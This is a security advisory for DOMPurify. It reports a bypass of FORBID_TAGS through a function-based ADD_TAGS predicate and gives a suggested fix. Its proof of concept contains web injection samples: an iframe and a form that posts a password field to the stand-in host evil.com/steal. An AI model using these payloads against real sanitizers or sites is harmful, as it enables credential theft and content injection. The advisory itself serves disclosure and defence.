GHSA-H7MW-GPVR-XQ4M

Vulnerability from github – Published: 2026-04-22 17:34 – Updated: 2026-04-27 16:32
VLAI
Summary
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Severity
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41240"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T17:34:17Z",
    "nvd_published_at": "2026-04-23T16:16:26Z",
    "severity": "MODERATE"
  },
  "details": "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -\u003e short-circuits\n      ) \u0026\u0026\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027iframe\u0027]\n      }\n    );\n    // Returns: \u0027\u003ciframe src=\"https://evil.com\"\u003e\u003c/iframe\u003e\u0027\n    // Expected: \u0027\u0027 (iframe forbidden)\n\n    DOMPurify.sanitize(\n      \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=password\u003e\u003c/form\u003e\u0027,\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: [\u0027form\u0027]\n      }\n    );\n    // Returns: \u0027\u003cform action=\"https://evil.com/steal\"\u003e\u003cinput name=\"password\"\u003e\u003c/form\u003e\u0027\n    // Expected: \u0027\u003cinput name=\"password\"\u003e\u0027 (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      \u0027\u003cp onclick=\"alert(1)\"\u003ehello\u003c/p\u003e\u0027,\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: [\u0027onclick\u0027]\n      }\n    );\n    // Returns: \u0027\u003cp\u003ehello\u003c/p\u003e\u0027 (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
  "id": "GHSA-h7mw-gpvr-xq4m",
  "modified": "2026-04-27T16:32:31Z",
  "published": "2026-04-22T17:34:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.